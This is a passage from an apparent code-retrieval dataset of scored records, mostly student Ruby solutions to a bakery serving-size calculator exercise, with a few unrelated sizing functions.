Make #{num_of_servings / library[item_to_make]} of #{item_to_make}\"\n #tells how many items can be made with no remaining ingredients\n else\n if remaining_servings == 6\n suggestion = \"Cake and Cookie\"\n elsif remaining_servings == 5\n suggestion = \"Cake\"\n else\n suggestion = \"Cookie\"\n end\n return \"Calculations complete: Make #{num_of_servings / library[item_to_make]} of #{item_to_make}, you have #{remaining_servings} leftover servings. Suggested baking items: #{suggestion}.\"\n #tells how many items can be made and suggesting other options for the remaining ingredients\n end\nend", "title": "" }, { "docid": "1eec34096ceb909dd69f4b45aab9cc1e", "score": "0.6241979", "text": "def serving_size_calc(item_to_make, order_quantity)\n\n #hash\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") if !library.include?(item_to_make)\n\n\n #determine if item_to_make is a key in library hash\n #Return argument error if it isn't\n # error_counter = 3\n\n# library.each do |food|\n# if library[food] != library[item_to_make]\n# p error_counter += -1\n# end\n# end\n\n# if error_counter > 0\n# raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n# end\n\n\n #Retrieving hash value to determine how many ingredients needed for one serving\n serving_size = library[item_to_make]\n #Determine how many ingredients are left\n left_over_item = order_quantity % serving_size\n\n items_made = order_quantity/serving_size\n\n #Extra feature:\n #Use leftover ingredients to make other items\n #IF leftover ingredients is greater than or equal to 5\n # Calculate how many cakes to make\n #IF leftover ingredients is greater than 0\n # Calculate how many cookies to make\n if left_over_item == 6\n extra_item = \"Make 1 Cookie and 1 cake.\"\n elsif left_over_item == 5\n extra_item = \"Make 1 Cake.\"\n else\n extra_item = \"Make #{left_over_item} cookies.\"\n end\n\n\n #When there's no leftover ingredients, return how many items you can make\n #When there is, return how many items you can make + how much leftover and what you can do with it\n# case left_over_item\n# when 0\n# return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n# else\n# return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{left_over_item} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\n# end\n\n if left_over_item == 0\n puts \"Calculations complete: Make #{items_made} of #{item_to_make}.\"\n else\n puts \"Calculations complete: Make #{items_made} of #{item_to_make}, you have #{left_over_item} leftover ingredients. Suggested baking items: #{extra_item}\"\n end\nend", "title": "" }, { "docid": "5e36d24967d7c4c268e9071f0cfefe23", "score": "0.6240089", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n # create a hash containing items and # of ingredients needed \n desserts = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n \n # check to see if item is in library\n # error_counter = 3\n # library.each do |food|\n # if library[food] != library[item_to_make]\n # error_counter += -1\n # end\n # end\n\n # if the item is not in the desserts hash, then return an error message \n # if error_counter > 0\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") unless desserts.has_key?(item_to_make)\n # end\n\n # declare variable that equals the value (# of ingredients required) for the item\n required_ingredients = desserts.values_at(item_to_make)[0]\n \n # Raise an Argument Error if there aren't enough ingredients to make the item\n raise ArgumentError.new(\"Not enough ingredients to make #{item_to_make}\") if num_of_ingredients < required_ingredients\n\n # calculate the leftover ingredients\n remaining_ingredients = num_of_ingredients % required_ingredients\n\n # returns how much of the item they can make based on the # of ingredients & what the leftovers could make\n case remaining_ingredients\n when 0\n return \"Calculations complete: Make #{num_of_ingredients / required_ingredients} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / required_ingredients} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: #{remaining_ingredients} cookies.\"\n end\nend", "title": "" }, { "docid": "c8a5f0ad13a88a2140bc8ee1f2302119", "score": "0.6233662", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7} \n \n raise ArgumentError.new(\"We don't have that item in stock. Thanks for the suggestion!\") if library.has_key?(item_to_make) == false\n\n serving_size = library[item_to_make] \n remaining_ingredients = num_of_ingredients % serving_size\n\n if remaining_ingredients == 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients.\"\n end\nend", "title": "" }, { "docid": "e87c94d5968ff2dbda7e0b8367e457b4", "score": "0.6229126", "text": "def length_plus(dimensions_hash)\n # mutliplies the dimensions_hash value at key l by 2 and adds it to the dimensions_hash value at key w multiplied by 2\n perim1 = (2 * dimensions_hash[:l]) + (2 * dimensions_hash[:w])\n # mutliplies the dimensions_hash value at key w by 2 and adds it to the dimensions_hash value at key h multiplied by 2\n perim2 = (2 * dimensions_hash[:w]) + (2 * dimensions_hash[:h])\n # mutliplies the dimensions_hash value at key h by 2 and adds it to the dimensions_hash value at key l multiplied by 2\n perim3 = (2 * dimensions_hash[:h]) + (2 * dimensions_hash[:l])\n # finds the smallest number of the resulting above values\n min_perim = [perim1, perim2, perim3].min\n # calculates the volume of the giftbox in order to determine how much ribbon is needed for the bow\n volume = dimensions_hash[:l] * dimensions_hash[:w] * dimensions_hash[:h]\n # calculates the total perimeter of the giftbox and adds in the amount needed for the bow\n perim = volume + min_perim\n return perim\nend", "title": "" }, { "docid": "b6e6103c6f409b8743576c47e5e831de", "score": "0.6223013", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n# Establishes a Hash for the items to make, and the corresponding ingredient use\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n# Establishes an decremental error counter\n error_counter = 3\n\n #Iterate through the library to see if any key\n # matches item_to_make\n library.each do |food|\n #if key/value pair is not equal to item_to_make\n #then decrement error_counter\n # p library[food]\n if library[food] != library[item_to_make]\n error_counter += -1\n end\n end\n\n #if error_counter has not reached 0 then\n # raise error that item_to_make is not in\n #the library\n if error_counter > 0\n end\n\n #Assign num_of_ingredients to serving_size\n serving_size = library.values_at(item_to_make)[0]\n #Assign remainder to remaining_ingredients\n remaining_ingredients = num_of_ingredients % serving_size\n\n # when remaining_ingredients = 0\n # returns a calculation of num_of_ingredients\n # divided by serving size\n #else\n # returns a calculation of num_of_ingredients\n # divided by serving size out of total\n # item_to_make and provide total of remaining_ingredients\n case remaining_ingredients\n when 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\n end\n\nend", "title": "" }, { "docid": "40021bb3a7fd260633db8a55d6253e1b", "score": "0.6221755", "text": "def serving_size_calc(item_to_make, order_quantity)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") unless library.has_key?(item_to_make)\n\n serving_size = library[item_to_make]\n serving_size_mod = order_quantity % serving_size\n\n message = \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n\n if serving_size_mod > 0\n p message + \". You have #{serving_size_mod} leftover ingredients. Suggested baking items:\"\n reversed_library = Hash[library.to_a.reverse]\n loop do\n reversed_library.each do |item, q|\n if serving_size_mod >= q\n puts \"You can make #{serving_size_mod/q} of #{item}.\"\n serving_size_mod = serving_size_mod % q\n end\n end\n break if serving_size_mod == 0\n end\n else\n p message\n end\n\nend", "title": "" }, { "docid": "d2356477205243c159a13a9164f04742", "score": "0.6217935", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") unless library.include?(item_to_make)\n\n serving_size = library[item_to_make]\n\n remaining_ingredients = num_of_ingredients % serving_size\n\n puts \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n\n case\n when remaining_ingredients >= 7\n puts \"You can also make a pie.\"\n when (remaining_ingredients >= 5) && (remaining_ingredients < 7)\n puts \"You can also make a cake.\"\n when (remaining_ingredients >= 1) && (remaining_ingredients < 5)\n puts \"You can also make a cookie.\"\n end\nend", "title": "" }, { "docid": "9416a2c970a471a020040d8d9b704d1f", "score": "0.621388", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n \n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") unless library[item_to_make]\n \n remaining_ingredients = num_of_ingredients % library[item_to_make] \n food_count = num_of_ingredients / library[item_to_make] \n \n suggested_treats = { \"cookies\" => \"gingerbread house\", \"cake\" => \"wedding cake\", \"pie\" => \"stargazy pie\" } \n #stargazy pie is worth a Google \n \n serving_size_answer = \"Calculations complete: Make #{food_count} of #{item_to_make}\"\n \n serving_size_answer = serving_size_answer + \", you have #{remaining_ingredients} leftover ingredients. You can also make #{suggested_treats[item_to_make]} with your leftovers!\" if remaining_ingredients > 0\n \n serving_size_answer\nend", "title": "" }, { "docid": "5fb7b5036a3f0640f3ac3920a14860e1", "score": "0.61991775", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n #This defines all items items in the bakery library and their corresponding serving sizes\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n \n #This sets the initial error counter to 3\n error_counter = 3\n\n # This iterates over the library hash. library[food] will always return nil. library[item_to_make] will return a value if the item exists in the library causing the counter to roll back 1 each time.\n library.each do |food|\n if library[food] != library[item_to_make]\n error_counter += -1\n end\n end\n\n\n # If the item passed as an argument does not exist in the library, this ArgumentError is raised.\n if error_counter > 0\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n#This sets the local variable 'serving_size' to the value of 'item_to_make'\n#and sets the local variable 'remaining_ingredients' to the remainder of num_of_ingredients divided by 'serving_size'\n serving_size = library.values_at(item_to_make)[0]\n remaining_ingredients = num_of_ingredients % serving_size\n\n#This states that when 'remaining_ingredients' returns 0, the first statement should be returned. Otherwise, the second statement will be returned with the remainder from 'remaining_ingredients' calculation\n case remaining_ingredients\n when 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\n end\nend", "title": "" }, { "docid": "7378089c27ee67ce67b558a8bd028abb", "score": "0.61969674", "text": "def serving_size_calc(item_to_make, order_quantity)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n if !library.has_key?(\"cookie\") || !library.has_key?(\"cake\") || !library.has_key?(\"pie\")\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n #Specifies that the argument item_to_make must be one of the three food items\n\n serving_size = library[item_to_make]\n serving_size_mod = order_quantity % serving_size\n #Store the value of the key\n #Divides the value by the order quantity\n\n if serving_size_mod == 0\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{serving_size_mod} leftover ingredients.\"\n end\nend", "title": "" }, { "docid": "cf71ddf387b2e80ab3c945105060ddd0", "score": "0.61928785", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n\n#check to see if any of the keys in the library hash are equal to the item_to_make\n#if the item_to_make isn't in the library, subtract one from the error counter\n#if the error counter is greater than one, raise argumenterror \n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n unless library.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") \n end\n\n #define serving size as the number of servings for the item (value) in the lib hash\n #determining how many ingredients are left after using % ingredients by serving size\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n\n # PSEUDOCODE - Suggested \n # input: leftover ingredients\n # output: leftover_thing\n # steps to get there: check to see if remaining ingredients is in the library\n # if ingredients remaining is >= value for each key, return a new array of the keys\n # turn the array into a string so it can be input in the message back to the user\n suggested_baking=[]\n library.each do |key, value|\n if remaining_ingredients >= value \n suggested_baking<< key.capitalize\n end\n end\n suggested = suggested_baking.join(\",\")\n\n #When remaining ingredients are zero, return string - exact number of ingredients\n #otherwise return alternate string - we have some leftover ingredients\n case remaining_ingredients\n when 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: #{suggested}\"\n end\nend", "title": "" }, { "docid": "bc1dbbb278f9067ecbcb3a77ad05b965", "score": "0.61904526", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"pie\" => 7, \"cake\" => 5, \"cookie\" => 1}\n error_counter = 0\n\n library.each do |food|\n if !library.include?(item_to_make)\n error_counter += 1\n end\n end\n=begin\nEstablishing library (hash) and error_counter (var)\nThat block iterates through library to find a match, if no matches are found subtract 1 from error_counter \n=end\n if error_counter > 0\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n=begin\nIf error_counter is greater than zero, put up that argumenterror\n=end\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n suggested_items = Hash.new(0)\n replacement = remaining_ingredients\n library.each do |food, number|\n if replacement > 0\n i = (replacement / number)\n if i > 0\n suggested_items[food] = i\n replacement -= number\n end\n end\n end\n\n case remaining_ingredients\n when 0\n puts \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n puts \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: \"\n suggested_items.each do |food, number|\n puts \"#{number} of #{food}.\"\n end\n end\n=begin\nCreates two variables, serving_size and remaining_ingredients\nSwitch statement to return one of two cases depending the value of remaining_ingredients\n=end\nend", "title": "" }, { "docid": "32852d86e36ca3d0cee99f5ca0eff9cf", "score": "0.61869407", "text": "def serving_size_calc(item_to_make, order_quantity)\n\n\n\n #If a match is not found print an inout error\n raise ArgumentError, \"#{item_to_make} is not a valid input\" unless MENU.key?(item_to_make)\n\n #assign the serving size of the menu item to serving size\n serving_size = MENU[item_to_make]\n #Check for leftovers\n# leftovers = order_quantity % serving_size\n\n\n print_output(order_quantity: order_quantity, serving_size: serving_size, item_to_make: item_to_make)\n\n #print the number to make, If there are leftovers, print that as well.\n\n\nend", "title": "" }, { "docid": "36560c4321d52acff8a0497299f59a1c", "score": "0.6186507", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7} \n \n\nunless library.include?(item_to_make) \n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") end\n \n \n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n\n output = \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n \n \n puts remaining_ingredients.zero? ? output : output + \" you have #{remaining_ingredients} leftover ingredients. Suggested baking items: TODO: \"\n while remaining_ingredients > 0\n if remaining_ingredients >= 5\n puts \"we could make a cake\"\n else\n puts \"lets make #{remaining_ingredients} cookies\"\n end\n remaining_ingredients %= remaining_ingredients\n end\nend", "title": "" }, { "docid": "e654e44794b3afd5dc95eb7df55ba76b", "score": "0.61849475", "text": "def waist_size (weight, age)\n adjustment = 0.1\n waist = weight / 5.7\n\n if age >= 30\n \n for i in (30..age).step(2)\n waist += adjustment\n end\n end\n return waist.round(0)\nend", "title": "" }, { "docid": "34e5f8422c74593ecad2546bb4264c40", "score": "0.6181254", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n serving_size_library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n # Iterate through library hash and if the item to make isn't there raise argument error\n\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") if serving_size_library.has_key?(item_to_make) == false\n\n# Set serving size equal to the values of items to make\n serving_size = serving_size_library[item_to_make]\n# Set remaining ingredients equal to however many ingredients are leftover\n remaining_ingredients = num_of_ingredients % serving_size\n# When remaining ingredients are 0 it returns how many you can make of a certain item. If the remaining ingredients aren't 0, then it returns the leftover how much you can make of certain baking items.\n\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\" if remaining_ingredients == 0\n\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients.\"\n\nend", "title": "" }, { "docid": "891b3dd2a782e0b8066bc5af5964c0f6", "score": "0.61765784", "text": "def serving_size_calc(item_to_make, order_quantity)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n error_counter = 3\n #A Hash is created that contains serving sizes of each food item\n library.each do |food|\n if library[food] != library[item_to_make]\n p error_counter += -1\n end\n end\n #Food Library refers to the key and value of the library hash, and is comparing it to the key of the hash- which will never evaluate to be true, unless a food item that isn't in library is added. Makes sure the food added is actually in library hash.\n if error_counter > 0\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n #An error is raised if an \"item to make\" is not in the library hash.\n serving_size = library.values_at(item_to_make)[0]\n #Looks at the value for the specific key used. \"0\" refers to an empty an empty array that has the values for the library hash. \n serving_size_mod = order_quantity % serving_size\n #Modulo's the order quantity by serving size, sets up for case below\n case serving_size_mod\n when 0\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n #If the modulo evaluates to 0, this will print, if the number of serving sizes is even.\n else\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{serving_size_mod} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\n end\nend", "title": "" }, { "docid": "895b277cf0baa5c4cb6e0901943343b1", "score": "0.61728144", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n menu = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n #throws error if the item to make is not in the menu\n unless menu.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n #determine the number of ingredients needed and if there will be any leftover ingredients\n serving_size = menu[item_to_make]\n leftover = num_of_ingredients % serving_size\n\n #evaluate how many items can be made, if there any any leftovers, aswell as potential items to make\n if num_of_ingredients % serving_size == 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n extra_items = Hash.new\n extra_items = menu.select{|k,v| v <= leftover}.keys.flatten[0]\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{leftover} leftover ingredients. Suggested baking items: #{leftover} #{extra_items}\"\n end\nend", "title": "" }, { "docid": "824605ef2e752f21c5d51775cac0eb65", "score": "0.6170767", "text": "def serving_size_calc(item_to_make, order_quantity)\n\n library = {\"cookie\" => 1,\n \"cake\" => 5,\n \"pie\" => 7}\n\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") if library[item_to_make] == nil\n\n serving_size = library[item_to_make]\n remainder = order_quantity % serving_size\n\n# case remainder\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\" if remainder == 0\n\n# else\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{remainder} leftover ingredients. Suggested baking items: cookie\" if remainder < 5\n\n\nend", "title": "" }, { "docid": "826fc3ca460bec4b00f18a5a8df255b8", "score": "0.6169845", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n menu = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n if menu.include?(item_to_make)\n serving_size = menu.values_at(item_to_make)[0]\n remaining_ingredients = num_of_ingredients % serving_size\n else\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n# Hash[menu.sort_by{|k,v|v}.reverse]\n\n puts \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n\n if remaining_ingredients == 0\n elsif remaining_ingredients % 5 == 0\n p \"You have #{remaining_ingredients} leftover ingredients. Suggested baking items: #{remaining_ingredients/5} cakes\"\n elsif remaining_ingredients % 7 == 0\n p \"You have #{remaining_ingredients} leftover ingredients. Suggested baking items: #{remaining_ingredients/7} pies\"\n else \n p\"You have #{remaining_ingredients} leftover ingredients. Suggested baking items: #{remaining_ingredients} cookies\"\n end\n\nend", "title": "" }, { "docid": "bcbe8d78e567875320f1de7331db9365", "score": "0.61656284", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\r\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\r\n error_counter = 3\r\n\r\n library.each do |food|\r\n if library[food] != library[item_to_make]\r\n error_counter += -1\r\n end\r\n end\r\n\r\n if error_counter > 0\r\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\r\n end\r\n\r\n serving_size = library.values_at(item_to_make)[0]\r\n remaining_ingredients = num_of_ingredients % serving_size\r\n\r\n case remaining_ingredients\r\n when 0\r\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\r\n else\r\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\r\n end\r\nend", "title": "" }, { "docid": "f144bf868534148619f1801f01a8b901", "score": "0.61562943", "text": "def serving_size_calc()\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n puts \"What would you like to make?\"\n item_to_make = gets.chomp!.downcase\n puts \"How much dough do you have?\"\n order_quantity = gets.chomp!.to_i\n\n if library.has_key?(item_to_make)\n\n serving_size = library[item_to_make]\n leftovers = order_quantity % serving_size\n\n if leftovers == 0\n puts \"Calculations complete: Make #{order_quantity/serving_size} #{item_to_make}(s)!\"\n elsif leftovers > 4\n s_leftovers = leftovers - 5\n print \"Calculations complete: Make #{order_quantity/serving_size} #{item_to_make}(s), you have #{leftovers} leftover ingredients. Suggested baking items: A cake\"\n if s_leftovers > 0\n print \" and #{s_leftovers} cookie(s)!\"\n end\n else\n puts \"Calculations complete: Make #{order_quantity/serving_size} #{item_to_make}(s), you have #{leftovers} leftover ingredients. Suggested baking items: #{leftovers} cookie(s)!\"\n end\n\n\n else\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n\nend", "title": "" }, { "docid": "16221c3dc179cd42b438ecaecb6daef6", "score": "0.6154602", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n error_counter = 3\n\n library.each do |food|\n if library[food] != library[item_to_make]\n error_counter += -1\n end\n end\n\n if error_counter > 0\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n serving_size = library.values_at(item_to_make)[0]\n remaining_ingredients = num_of_ingredients % serving_size\n\n case remaining_ingredients\n when 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\n end\nend", "title": "" }, { "docid": "9f301db1fe10fc901b4e1568b6a9e1fa", "score": "0.615146", "text": "def serving_size_calc(item_to_make, order_quantity) # take in 2 args string & int\n\n # hash called library with 3 keys and int values\n library = {\n \"cookie\" => 1,\n \"cake\" => 5,\n \"pie\" => 7\n }\n error_counter = 3 # counter initialized to 3\n\n #iterate through hash\n library.each do |food|\n if library[food] != library[item_to_make] # check to see if item to make is not in the hash\n p error_counter += -1 # decrement counter by 1\n end\n end\n\n if error_counter > 0 # if counter is > 0 raise error\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n serving_size = library.values_at(item_to_make)[0] #serving-size of that item is the item's value--returns value\n serving_size_mod = order_quantity % serving_size #returns a modulus of more than 0 if your order is not divisible by your serving size\n\n case serving_size_mod\n when 0\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\" #Says how many orders to make of that thing\n else\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{serving_size_mod} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\" #Lets you know that your order will feed more people than you've requested\n end\nend", "title": "" }, { "docid": "a823e0d7c789330d49490cbb15fad25a", "score": "0.61472964", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") if library.has_key?(item_to_make) == false\n\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n servings = num_of_ingredients / serving_size\n output = \"Calculations complete: Make #{servings} of #{item_to_make}\"\n\n return output if remaining_ingredients == 0\n return output + \", you have #{remaining_ingredients} leftover ingredients.\"\nend", "title": "" }, { "docid": "59e49d914af4693bd7ebb1728a3e2ff2", "score": "0.6146483", "text": "def serving_size_calc(item_to_make, order_quantity)\n dessert_items = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n if dessert_items[item_to_make] == nil\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n servings = order_quantity/dessert_items[item_to_make]\n\n leftover_quantity = order_quantity % dessert_items[item_to_make]\n alternate_items = []\n\n if leftover_quantity == 0\n return \"Calculations complete: Make #{servings} of #{item_to_make}\"\n else\n dessert_items.each do |key, value|\n if value <= leftover_quantity\n alternate_items << key\n end\n end\n\n return \"Calculations complete: Make #{servings} of #{item_to_make}, you have #{leftover_quantity} leftover ingredients. Suggested baking items: #{alternate_items.join(\", \")} \"\n\n end\n\nend", "title": "" }, { "docid": "a4fd308ec7fef0feeb39a21f6d10936b", "score": "0.61459", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n suggested_items = {\n \"cookie\" => \"chocolate chips\",\n \"cake\" => \"frosting\",\n \"pie\" => \"pie crust\"\n }\n\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") if !library.key?(item_to_make)\n\n serving_size = library[item_to_make]\n\n if num_of_ingredients % serving_size == 0\n \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make} Suggested baking items: #{suggested_items[item_to_make]}\"\n else\n \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{num_of_ingredients % serving_size} leftover ingredients. Suggested baking items: #{suggested_items[item_to_make]}\"\n end\nend", "title": "" }, { "docid": "f3bdbe6da93eb7413b20150c9bf33b91", "score": "0.6142221", "text": "def jacket_size (height, weight, age)\n adjustment = 0.13\n \n if age < 40\n age_factor = 0\n elsif age >= 40 && age < 50\n age_factor = 1\n elsif age >= 50 && age < 60\n age_factor = 2\n elsif age >= 60 && age < 70\n age_factor = 3\n elsif age >= 70 && age < 80\n age_factor = 4\n end\n\n size = ((height * weight) / 288) + (age_factor * adjustment)\nend", "title": "" }, { "docid": "551c5f68885fa711e10d724015df4292", "score": "0.6134659", "text": "def serving_size_calc(item_to_make, num_of_people)\n menu = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n if menu.include?(item_to_make) == false\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n#\n # error_counter = 3\n#\n # menu.each do |food|\n # if menu[food] != menu[item_to_make]\n # error_counter += -1\n #end\n #end\n#\n # if error_counter > 0\n # raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n # end\n \n\n #serving_size = menu.values_at(item_to_make)[0]\n serving_size = menu[item_to_make]\n remaining_people = num_of_people % serving_size\n\n #case remaining_people\n #when 0\n if remaining_people == 0\n return \"Calculations complete: Make #{num_of_people / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_people / serving_size} of #{item_to_make}, you have #{remaining_people} leftover people. Suggested baking items: #{remaining_people} cookies.\"\n end\nend", "title": "" }, { "docid": "0d59099a49f6612ddf0576c0f18863e1", "score": "0.61330414", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") unless library.has_key?(item_to_make)\n\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n\n if remaining_ingredients == 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients.\"\n end\nend", "title": "" }, { "docid": "8b2dc12443251d9ebf46ef3d3dba9d37", "score": "0.612924", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n \n if library.has_key?(item_to_make)\n p \"We can bake #{item_to_make}\"\n else\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n \n \n \n #1. Get the number of leftover ingredients\n #2.1 Loop to check what we can make\n # If the number of leftover ingredients is > 7\n # Make a pie\n # decrease the number of leftover ingredients by 7\n # Else if the number of ingredients is >= 5 \n # make a Cake\n # Else if the number of ingredients is < 5 \n # We can make some number of cookies\n # 3. After each item is made we can decrease the amount\n # 4. Break from loop when leftover ingredients is zero\n \n cakes = 0\n cookies = 0\n while remaining_ingredients > 0\n if remaining_ingredients > 5\n cakes += 1\n remaining_ingredients -= 5\n else\n cookies += 1\n remaining_ingredients -= 1\n end\n end\n \n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}. Suggested baking items: Make #{cakes} cakes and #{cookies} cookies. \"\n \nend", "title": "" }, { "docid": "e287220e7330e07bddb065495c679ef6", "score": "0.6129205", "text": "def serving_size_calc(item_to_make, ingredient_quantity)\n #menu is the items and quantity we need to 